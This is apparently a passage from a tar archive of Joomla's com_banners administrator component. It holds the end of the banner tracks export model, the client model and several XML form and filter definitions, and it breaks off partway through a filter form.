				$query->where('track_date >= ' . $db->quote($begin));
			}

			// Filter by end date
			$end = $this->getState('filter.end');

			if (!empty($end))
			{
				$query->where('track_date <= ' . $db->quote($end));
			}

			$where = '1 = 1';

			// Filter by client
			$clientId = $this->getState('filter.client_id');

			if (!empty($clientId))
			{
				$where .= ' AND cid = ' . (int) $clientId;
			}

			// Filter by category
			if (!empty($categoryId))
			{
				$where .= ' AND catid = ' . (int) $categoryId;
			}

			$query->where('banner_id IN (SELECT id FROM ' . $db->quoteName('#__banners') . ' WHERE ' . $where . ')');

			$db->setQuery($query);
			$this->setError((string) $query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}
		}
		else
		{
			JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED'));
		}

		return true;
	}

	/**
	 * Get file name
	 *
	 * @return  string  The file name
	 *
	 * @since   1.6
	 */
	public function getBaseName()
	{
		if (!isset($this->basename))
		{
			$basename   = str_replace('__SITE__', JFactory::getApplication()->get('sitename'), $this->getState('basename'));
			$categoryId = $this->getState('filter.category_id');

			if (is_numeric($categoryId))
			{
				if ($categoryId > 0)
				{
					$basename = str_replace('__CATID__', $categoryId, $basename);
				}
				else
				{
					$basename = str_replace('__CATID__', '', $basename);
				}

				$categoryName = $this->getCategoryName();
				$basename = str_replace('__CATNAME__', $categoryName, $basename);
			}
			else
			{
				$basename = str_replace(array('__CATID__', '__CATNAME__'), '', $basename);
			}

			$clientId = $this->getState('filter.client_id');

			if (is_numeric($clientId))
			{
				if ($clientId > 0)
				{
					$basename = str_replace('__CLIENTID__', $clientId, $basename);
				}
				else
				{
					$basename = str_replace('__CLIENTID__', '', $basename);
				}

				$clientName = $this->getClientName();
				$basename = str_replace('__CLIENTNAME__', $clientName, $basename);
			}
			else
			{
				$basename = str_replace(array('__CLIENTID__', '__CLIENTNAME__'), '', $basename);
			}

			$type = $this->getState('filter.type');

			if ($type > 0)
			{
				$basename = str_replace('__TYPE__', $type, $basename);
				$typeName = JText::_('COM_BANNERS_TYPE' . $type);
				$basename = str_replace('__TYPENAME__', $typeName, $basename);
			}
			else
			{
				$basename = str_replace(array('__TYPE__', '__TYPENAME__'), '', $basename);
			}

			$begin = $this->getState('filter.begin');

			if (!empty($begin))
			{
				$basename = str_replace('__BEGIN__', $begin, $basename);
			}
			else
			{
				$basename = str_replace('__BEGIN__', '', $basename);
			}

			$end = $this->getState('filter.end');

			if (!empty($end))
			{
				$basename = str_replace('__END__', $end, $basename);
			}
			else
			{
				$basename = str_replace('__END__', '', $basename);
			}

			$this->basename = $basename;
		}

		return $this->basename;
	}

	/**
	 * Get the category name.
	 *
	 * @return  string  The category name
	 *
	 * @since   1.6
	 */
	protected function getCategoryName()
	{
		$categoryId = $this->getState('filter.category_id');

		if ($categoryId)
		{
			$db    = $this->getDbo();
			$query = $db->getQuery(true)
				->select('title')
				->from($db->quoteName('#__categories'))
				->where($db->quoteName('id') . '=' . $db->quote($categoryId));
			$db->setQuery($query);

			try
			{
				$name = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}

			return $name;
		}

		return JText::_('COM_BANNERS_NOCATEGORYNAME');
	}

	/**
	 * Get the client name
	 *
	 * @return  string  The client name.
	 *
	 * @since   1.6
	 */
	protected function getClientName()
	{
		$clientId = $this->getState('filter.client_id');

		if ($clientId)
		{
			$db    = $this->getDbo();
			$query = $db->getQuery(true)
				->select('name')
				->from($db->quoteName('#__banner_clients'))
				->where($db->quoteName('id') . '=' . $db->quote($clientId));
			$db->setQuery($query);

			try
			{
				$name = $db->loadResult();
			}
			catch (RuntimeException $e)
			{
				$this->setError($e->getMessage());

				return false;
			}

			return $name;
		}

		return JText::_('COM_BANNERS_NOCLIENTNAME');
	}

	/**
	 * Get the file type.
	 *
	 * @return  string  The file type
	 *
	 * @since   1.6
	 */
	public function getFileType()
	{
		return $this->getState('compressed') ? 'zip' : 'csv';
	}

	/**
	 * Get the mime type.
	 *
	 * @return  string  The mime type.
	 *
	 * @since   1.6
	 */
	public function getMimeType()
	{
		return $this->getState('compressed') ? 'application/zip' : 'text/csv';
	}

	/**
	 * Get the content
	 *
	 * @return  string  The content.
	 *
	 * @since   1.6
	 */
	public function getContent()
	{
		if (!isset($this->content))
		{
			$this->content = '"' . str_replace('"', '""', JText::_('COM_BANNERS_HEADING_NAME')) . '","'
				. str_replace('"', '""', JText::_('COM_BANNERS_HEADING_CLIENT')) . '","'
				. str_replace('"', '""', JText::_('JCATEGORY')) . '","'
				. str_replace('"', '""', JText::_('COM_BANNERS_HEADING_TYPE')) . '","'
				. str_replace('"', '""', JText::_('COM_BANNERS_HEADING_COUNT')) . '","'
				. str_replace('"', '""', JText::_('JDATE')) . '"' . "\n";

			foreach ($this->getItems() as $item)
			{
				$this->content .= '"' . str_replace('"', '""', $item->banner_name) . '","'
					. str_replace('"', '""', $item->client_name) . '","'
					. str_replace('"', '""', $item->category_title) . '","'
					. str_replace('"', '""', ($item->track_type == 1 ? JText::_('COM_BANNERS_IMPRESSION') : JText::_('COM_BANNERS_CLICK'))) . '","'
					. str_replace('"', '""', $item->count) . '","'
					. str_replace('"', '""', $item->track_date) . '"' . "\n";
			}

			if ($this->getState('compressed'))
			{
				$app = JFactory::getApplication('administrator');

				$files = array(
					'track' => array(
						'name' => $this->getBasename() . '.csv',
						'data' => $this->content,
						'time' => time()
					)
				);
				$ziproot = $app->get('tmp_path') . '/' . uniqid('banners_tracks_') . '.zip';

				// Run the packager
				jimport('joomla.filesystem.folder');
				jimport('joomla.filesystem.file');
				$delete = JFolder::files($app->get('tmp_path') . '/', uniqid('banners_tracks_'), false, true);

				if (!empty($delete))
				{
					if (!JFile::delete($delete))
					{
						// JFile::delete throws an error
						$this->setError(JText::_('COM_BANNERS_ERR_ZIP_DELETE_FAILURE'));

						return false;
					}
				}

				$archive = new Archive;

				if (!$packager = $archive->getAdapter('zip'))
				{
					$this->setError(JText::_('COM_BANNERS_ERR_ZIP_ADAPTER_FAILURE'));

					return false;
				}
				elseif (!$packager->create($ziproot, $files))
				{
					$this->setError(JText::_('COM_BANNERS_ERR_ZIP_CREATE_FAILURE'));

					return false;
				}

				$this->content = file_get_contents($ziproot);
			}
		}

		return $this->content;
	}
}
com_banners/models/client.php000060400000006522152455305260012314 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Client model.
 *
 * @since  1.6
 */
class BannersModelClient extends JModelAdmin
{
	/**
	 * The type alias for this content type.
	 *
	 * @var    string
	 * @since  3.2
	 */
	public $typeAlias = 'com_banners.client';

	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (empty($record->id) || $record->state != -2)
		{
			return false;
		}

		if (!empty($record->catid))
		{
			return JFactory::getUser()->authorise('core.delete', 'com_banners.category.' . (int) $record->catid);
		}

		return parent::canDelete($record);
	}

	/**
	 * Method to test whether a record can have its state changed.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
	 *                   Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();

		if (!empty($record->catid))
		{
			return $user->authorise('core.edit.state', 'com_banners.category.' . (int) $record->catid);
		}

		return $user->authorise('core.edit.state', 'com_banners');
	}

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable	A JTable object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'Client', $prefix = 'BannersTable', $config = array())
	{
		return JTable::getInstance($type, $prefix, $config);
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  JForm|boolean  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_banners.client', 'client', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_banners.edit.client.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_banners.client', $data);

		return $data;
	}

	/**
	 * Prepare and sanitise the table prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
	}
}
com_banners/models/forms/banner.xml000060400000020526152455305260013442 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="details" addfieldpath="/administrator/components/com_banners/models/fields">

		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			readonly="true"
			class="readonly"
		/>

		<field
			name="name"
			type="text"
			label="COM_BANNERS_FIELD_NAME_LABEL"
			description="COM_BANNERS_FIELD_NAME_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			required="true"
		/>

		<field
			name="alias"
			type="text"
			label="JFIELD_ALIAS_LABEL"
			description="COM_BANNERS_FIELD_ALIAS_DESC"
			size="40"
			hint="JFIELD_ALIAS_PLACEHOLDER"
		/>

		<field
			name="catid"
			type="categoryedit"
			label="JCATEGORY"
			description="COM_BANNERS_FIELD_CATEGORY_DESC"
			extension="com_banners"
			required="true"
			addfieldpath="/administrator/components/com_categories/models/fields"
			default=""
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="COM_BANNERS_FIELD_STATE_DESC"
			class="chzn-color-state"
			size="1"
			default="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="ordering"
			type="ordering"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			table="#__banners"
		/>

		<field
			name="language"
			type="contentlanguage"
			label="JFIELD_LANGUAGE_LABEL"
			description="COM_BANNERS_FIELD_LANGUAGE_DESC"
			>
			<option value="*">JALL</option>
		</field>

		<field
			name="version_note"
			type="text"
			label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
			description="JGLOBAL_FIELD_VERSION_NOTE_DESC"
			maxlength="255"
			class="span12"
			size="45"
			labelclass="control-label"
		/>

		<field
			name="description"
			type="editor"
			label="JGLOBAL_DESCRIPTION"
			description="COM_BANNERS_FIELD_DESCRIPTION_DESC"
			filter="JComponentHelper::filterText"
			buttons="true"
			hide="readmore,pagebreak,module,article,contact,menu"
		/>

		<field
			name="type"
			type="list"
			label="COM_BANNERS_FIELD_TYPE_LABEL"
			description="COM_BANNERS_FIELD_TYPE_DESC"
			default="0"
			>
			<option value="0">COM_BANNERS_FIELD_VALUE_IMAGE</option>
			<option value="1">COM_BANNERS_FIELD_VALUE_CUSTOM</option>
		</field>

		<field
			name="custombannercode"
			type="textarea"
			label="COM_BANNERS_FIELD_CUSTOMCODE_LABEL"
			description="COM_BANNERS_FIELD_CUSTOMCODE_DESC"
			rows="3"
			cols="30"
			filter="raw"
		/>

		<field
			name="clickurl"
			type="url"
			label="COM_BANNERS_FIELD_CLICKURL_LABEL"
			description="COM_BANNERS_FIELD_CLICKURL_DESC"
			filter="url"
			validate="url"
		/>
	</fieldset>

	<fieldset name="publish" label="COM_BANNERS_GROUP_LABEL_PUBLISHING_DETAILS">

		<field
			name="created"
			type="calendar"
			label="COM_BANNERS_FIELD_CREATED_LABEL"
			description="COM_BANNERS_FIELD_CREATED_DESC"
			size="22"
			translateformat="true"
			showtime="true"
			filter="user_utc"
		/>

		<field
			name="created_by"
			type="user"
			label="COM_BANNERS_FIELD_CREATED_BY_LABEL"
			description="COM_BANNERS_FIELD_CREATED_BY_DESC"
		/>

		<field
			name="created_by_alias"
			type="text"
			label="COM_BANNERS_FIELD_CREATED_BY_ALIAS_LABEL"
			description="COM_BANNERS_FIELD_CREATED_BY_ALIAS_DESC"
			size="20"
		/>

		<field
			name="modified"
			type="calendar"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			description="COM_BANNERS_FIELD_MODIFIED_DESC"
			class="readonly"
			size="22"
			readonly="true"
			translateformat="true"
			showtime="true"
			filter="user_utc"
		/>

		<field
			name="modified_by"
			type="user"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			description="COM_BANNERS_FIELD_MODIFIED_BY_DESC"
			class="readonly"
			readonly="true"
			filter="unset"
		/>

		<field
			name="version"
			type="text"
			label="COM_BANNERS_FIELD_VERSION_LABEL"
			description="COM_BANNERS_FIELD_VERSION_DESC"
			class="readonly"
			size="6"
			readonly="true"
			filter="unset"
		/>

		<field
			name="publish_up"
			type="calendar"
			label="COM_BANNERS_FIELD_PUBLISH_UP_LABEL"
			description="COM_BANNERS_FIELD_PUBLISH_UP_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="COM_BANNERS_FIELD_PUBLISH_DOWN_LABEL"
			description="COM_BANNERS_FIELD_PUBLISH_DOWN_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>
	</fieldset>

	<fieldset name="bannerdetails" label="COM_BANNERS_GROUP_LABEL_BANNER_DETAILS">

		<field
			name="sticky"
			type="radio"
			label="COM_BANNERS_FIELD_STICKY_LABEL"
			description="COM_BANNERS_FIELD_STICKY_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>
	</fieldset>

	<fieldset name="otherparams">
		<field
			name="imptotal"
			type="imptotal"
			label="COM_BANNERS_FIELD_IMPTOTAL_LABEL"
			description="COM_BANNERS_FIELD_IMPTOTAL_DESC"
			default="0"
		/>

		<field
			name="impmade"
			type="impmade"
			label="COM_BANNERS_FIELD_IMPMADE_LABEL"
			description="COM_BANNERS_FIELD_IMPMADE_DESC"
			default="0"
		/>

		<field
			name="clicks"
			type="clicks"
			label="COM_BANNERS_FIELD_CLICKS_LABEL"
			description="COM_BANNERS_FIELD_CLICKS_DESC"
			default="0"
		/>

		<field
			name="cid"
			type="bannerclient"
			label="COM_BANNERS_FIELD_CLIENT_LABEL"
			description="COM_BANNERS_FIELD_CLIENT_DESC"
		/>

		<field
			name="purchase_type"
			type="list"
			label="COM_BANNERS_FIELD_PURCHASETYPE_LABEL"
			description="COM_BANNERS_FIELD_PURCHASETYPE_DESC"
			default="0"
			>
			<option value="-1">COM_BANNERS_FIELD_VALUE_USECLIENTDEFAULT</option>
			<option value="1">COM_BANNERS_FIELD_VALUE_UNLIMITED</option>
			<option value="2">COM_BANNERS_FIELD_VALUE_YEARLY</option>
			<option value="3">COM_BANNERS_FIELD_VALUE_MONTHLY</option>
			<option value="4">COM_BANNERS_FIELD_VALUE_WEEKLY</option>
			<option value="5">COM_BANNERS_FIELD_VALUE_DAILY</option>
		</field>

		<field
			name="track_impressions"
			type="list"
			label="COM_BANNERS_FIELD_TRACKIMPRESSION_LABEL"
			description="COM_BANNERS_FIELD_TRACKIMPRESSION_DESC"
			default="0"
			>
			<option value="-1">COM_BANNERS_FIELD_VALUE_USECLIENTDEFAULT</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="track_clicks"
			type="list"
			label="COM_BANNERS_FIELD_TRACKCLICK_LABEL"
			description="COM_BANNERS_FIELD_TRACKCLICK_DESC"
			default="0"
			>
			<option value="-1">COM_BANNERS_FIELD_VALUE_USECLIENTDEFAULT</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
	</fieldset>

	<fieldset name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">

		<field
			name="metakey"
			type="textarea"
			label="JFIELD_META_KEYWORDS_LABEL"
			description="COM_BANNERS_FIELD_METAKEYWORDS_DESC"
			rows="3"
			cols="30"
		/>

		<field
			name="own_prefix"
			type="radio"
			label="COM_BANNERS_FIELD_BANNEROWNPREFIX_LABEL"
			description="COM_BANNERS_FIELD_BANNEROWNPREFIX_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="metakey_prefix"
			type="text"
			label="COM_BANNERS_FIELD_METAKEYWORDPREFIX_LABEL"
			description="COM_BANNERS_FIELD_METAKEYWORDPREFIX_DESC"
		/>
	</fieldset>

	<fields name="params" label="JGLOBAL_FIELDSET_DISPLAY_OPTIONS">
		<fieldset name="image">
			<field
				name="imageurl"
				type="media"
				label="COM_BANNERS_FIELD_IMAGE_LABEL"
				description="COM_BANNERS_FIELD_IMAGE_DESC"
				directory="banners"
				hide_none="1"
				size="40"
			/>

			<field
				name="width"
				type="number"
				label="COM_BANNERS_FIELD_WIDTH_LABEL"
				description="COM_BANNERS_FIELD_WIDTH_DESC"
				class="input-mini validate-numeric"
			/>

			<field
				name="height"
				type="number"
				label="COM_BANNERS_FIELD_HEIGHT_LABEL"
				description="COM_BANNERS_FIELD_HEIGHT_DESC"
				class="input-mini validate-numeric"
			/>

			<field
				name="alt"
				type="text"
				label="COM_BANNERS_FIELD_ALT_LABEL"
				description="COM_BANNERS_FIELD_ALT_DESC"
			/>
		</fieldset>
	</fields>

	<fieldset name="custom">
		<field
			name="bannercode"
			type="textarea"
			label="COM_BANNERS_FIELD_CUSTOMCODE_LABEL"
			description="COM_BANNERS_FIELD_CUSTOMCODE_DESC"
			rows="3"
			cols="30"
			filter="raw"
		/>
	</fieldset>

</form>
com_banners/models/forms/client.xml000060400000007033152455305260013451 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="details" addfieldpath="/administrator/components/com_banners/models/fields">
		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			default="0"
			readonly="true"
			class="readonly"
		/>

		<field
			name="name"
			type="text"
			label="COM_BANNERS_FIELD_NAME_LABEL"
			description="COM_BANNERS_FIELD_CLIENT_NAME_DESC"
			class="input-xxlarge input-large-text"
			size="40"
			required="true"
		/>

		<field
			name="contact"
			type="text"
			label="COM_BANNERS_FIELD_CONTACT_LABEL"
			description="COM_BANNERS_FIELD_CONTACT_DESC"
			size="40"
			required="true"
		/>

		<field
			name="email"
			type="email"
			label="COM_BANNERS_FIELD_EMAIL_LABEL"
			description="COM_BANNERS_FIELD_EMAIL_DESC"
			size="40"
			validate="email"
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="COM_BANNERS_FIELD_CLIENT_STATE_DESC"
			class="chzn-color-state"
			size="1"
			default="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="version_note"
			type="text"
			label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
			description="JGLOBAL_FIELD_VERSION_NOTE_DESC"
			maxlength="255"
			size="45"
			labelclass="control-label"
		/>

		<field
			name="purchase_type"
			type="list"
			label="COM_BANNERS_FIELD_PURCHASETYPE_LABEL"
			description="COM_BANNERS_FIELD_PURCHASETYPE_DESC"
			default="0"
			>
			<option value="-1">JGLOBAL_USE_GLOBAL</option>
			<option value="1">COM_BANNERS_FIELD_VALUE_UNLIMITED</option>
			<option value="2">COM_BANNERS_FIELD_VALUE_YEARLY</option>
			<option value="3">COM_BANNERS_FIELD_VALUE_MONTHLY</option>
			<option value="4">COM_BANNERS_FIELD_VALUE_WEEKLY</option>
			<option value="5">COM_BANNERS_FIELD_VALUE_DAILY</option>
		</field>

		<field
			name="track_impressions"
			type="list"
			label="COM_BANNERS_FIELD_TRACKIMPRESSION_LABEL"
			description="COM_BANNERS_FIELD_TRACKIMPRESSION_DESC"
			default="0"
			class="chzn-color"
			>
			<option value="-1">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

		<field
			name="track_clicks"
			type="list"
			label="COM_BANNERS_FIELD_TRACKCLICK_LABEL"
			description="COM_BANNERS_FIELD_TRACKCLICK_DESC"
			default="0"
			class="chzn-color"
			>
			<option value="-1">JGLOBAL_USE_GLOBAL</option>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>

	</fieldset>

	<fieldset name="metadata" label="JGLOBAL_FIELDSET_METADATA_OPTIONS">
		<field
			name="metakey"
			type="textarea"
			label="JFIELD_META_KEYWORDS_LABEL"
			description="COM_BANNERS_FIELD_CLIENT_METAKEYWORDS_DESC"
			rows="3"
			cols="30"
		/>

		<field
			name="own_prefix"
			type="radio"
			label="COM_BANNERS_FIELD_CLIENTOWNPREFIX_LABEL"
			description="COM_BANNERS_FIELD_CLIENTOWNPREFIX_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="metakey_prefix"
			type="text"
			label="COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_LABEL"
			description="COM_BANNERS_FIELD_CLIENT_METAKEYWORDPREFIX_DESC"
		/>
	</fieldset>

	<fieldset name="extra" label="COM_BANNERS_EXTRA">
		<field
			name="extrainfo"
			type="textarea"
			label="COM_BANNERS_FIELD_EXTRAINFO_LABEL"
			description="COM_BANNERS_FIELD_EXTRAINFO_DESC"
			class="span12"
			rows="5"
			cols="80"
		/>
	</fieldset>
</form>
com_banners/models/forms/filter_banners.xml000060400000006732152455305260015175 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter" addfieldpath="/administrator/components/com_banners/models/fields">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_BANNERS_BANNERS_FILTER_SEARCH_LABEL"
			description="COM_BANNERS_BANNERS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="published"
			type="status"
			label="JOPTION_SELECT_PUBLISHED"
			description="JOPTION_SELECT_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="category_id"
			type="category"
			label="JOPTION_FILTER_CATEGORY"
			description="JOPTION_FILTER_CATEGORY_DESC"
			extension="com_banners"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_CATEGORY</option>
		</field>

		<field
			name="client_id"
			type="bannerclient"
			label="COM_BANNERS_FILTER_CLIENT"
			description="COM_BANNERS_FILTER_CLIENT_DESC"
			extension="com_content"
			onchange="this.form.submit();"
			>
			<option value="">COM_BANNERS_SELECT_CLIENT</option>
		</field>

		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,2,-2"
			onchange="this.form.submit();"
			default="a.name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.name ASC">COM_BANNERS_HEADING_NAME_ASC</option>
			<option value="a.name DESC">COM_BANNERS_HEADING_NAME_DESC</option>
			<option value="category_title ASC">JCATEGORY_ASC</option>
			<option value="category_title DESC">JCATEGORY_DESC</option>
			<option value="a.sticky ASC">COM_BANNERS_HEADING_STICKY_ASC</option>
			<option value="a.sticky DESC">COM_BANNERS_HEADING_STICKY_DESC</option>
			<option value="client_name ASC">COM_BANNERS_HEADING_CLIENT_ASC</option>
			<option value="client_name DESC">COM_BANNERS_HEADING_CLIENT_DESC</option>
			<option value="impmade ASC">COM_BANNERS_HEADING_IMPRESSIONS_ASC</option>
			<option value="impmade DESC">COM_BANNERS_HEADING_IMPRESSIONS_DESC</option>
			<option value="clicks ASC">COM_BANNERS_HEADING_CLICKS_ASC</option>
			<option value="clicks DESC">COM_BANNERS_HEADING_CLICKS_DESC</option>
			<option value="a.language ASC">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="a.language DESC">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="COM_BANNERS_LIST_LIMIT"
			description="COM_BANNERS_LIST_LIMIT_DESC"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_banners/models/forms/filter_tracks.xml000060400000005631152455305260015031 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter" addfieldpath="/administrator/components/com_banners/models/fields">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_BANNERS_TRACKS_FILTER_SEARCH_LABEL"
			description="COM_BANNERS_TRACKS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="category_id"
			type="category"
			label="JOPTION_FILTER_CATEGORY"
			description="JOPTION_FILTER_CATEGORY_DESC"
			extension="com_banners"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_CATEGORY</option>
		</field>

		<field
			name="client_id"
			type="bannerclient"
			label="COM_BANNERS_FILTER_CLIENT"
			description="COM_BANNERS_FILTER_CLIENT_DESC"
			extension="com_content"
			onchange="this.form.submit();"
			>
			<option value="">COM_BANNERS_SELECT_CLIENT</option>
		</field>

		<field
			name="type"
			type="list"
			onchange="this.form.submit();"
			>
			<option value="">COM_BANNERS_SELECT_TYPE</option>
			<option value="1">COM_BANNERS_TYPE1</option>
			<option value="2">COM_BANNERS_TYPE2</option>
		</field>

		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>

		<field
			name="begin"
			type="calendar"
			label="COM_BANNERS_BEGIN_LABEL"
			description="COM_BANNERS_BEGIN_DESC"
			hint="COM_BANNERS_BEGIN_HINT"
			format="%Y-%m-%d"
			size="10"
			filter="user_utc"
		/>

		<field
			name="end"
			type="calendar"
			label="COM_BANNERS_END_LABEL"
			description="COM_BANNERS_END_DESC"
			hint="COM_BANNERS_END_HINT"
			format="%Y-%m-%d"
			size="10"
			filter="user_utc"
		/>
    </fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="b.name ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="b.name ASC">COM_BANNERS_HEADING_NAME_ASC</option>
			<option value="b.name DESC">COM_BANNERS_HEADING_NAME_DESC</option>
			<option value="cl.name ASC">COM_BANNERS_HEADING_CLIENT_ASC</option>
			<option value="cl.name DESC">COM_BANNERS_HEADING_CLIENT_DESC</option>
			<option value="a.track_type ASC">COM_BANNERS_HEADING_TYPE_ASC</option>
			<option value="a.track_type DESC">COM_BANNERS_HEADING_TYPE_DESC</option>
			<option value="a.count ASC">COM_BANNERS_HEADING_COUNT_ASC</option>
			<option value="a.count DESC">COM_BANNERS_HEADING_COUNT_DESC</option>
			<option value="a.track_date ASC">JDATE_ASC</option>
			<option value="a.track_date DESC">JDATE_DESC</option>
		</field>

		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="5"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_banners/models/forms/filter_clients.xml000060400000004363152455305260015204 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_BANNERS_CLIENTS_FILTER_SEARCH_LABEL"
			description="COM_BANNERS_CLIENTS_FILTER_SEARCH_DESC"
			hint="JSEARCH_FILTER"
		/>

		<field
			name="state"
			type="status"
			label="JOPTION_SELECT_PUBLISHED"
			description="JOPTION_SELECT_PUBLISHED_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>

		<field
			name="purchase_type"
			type="list"
			label="COM_BANNERS_FILTER_PURCHASETYPE_LABEL"
			description="COM_BANNERS_FIELD_PURCHASETYPE_DESC"
			default="0"
			onchange="this.form.submit();"
			>
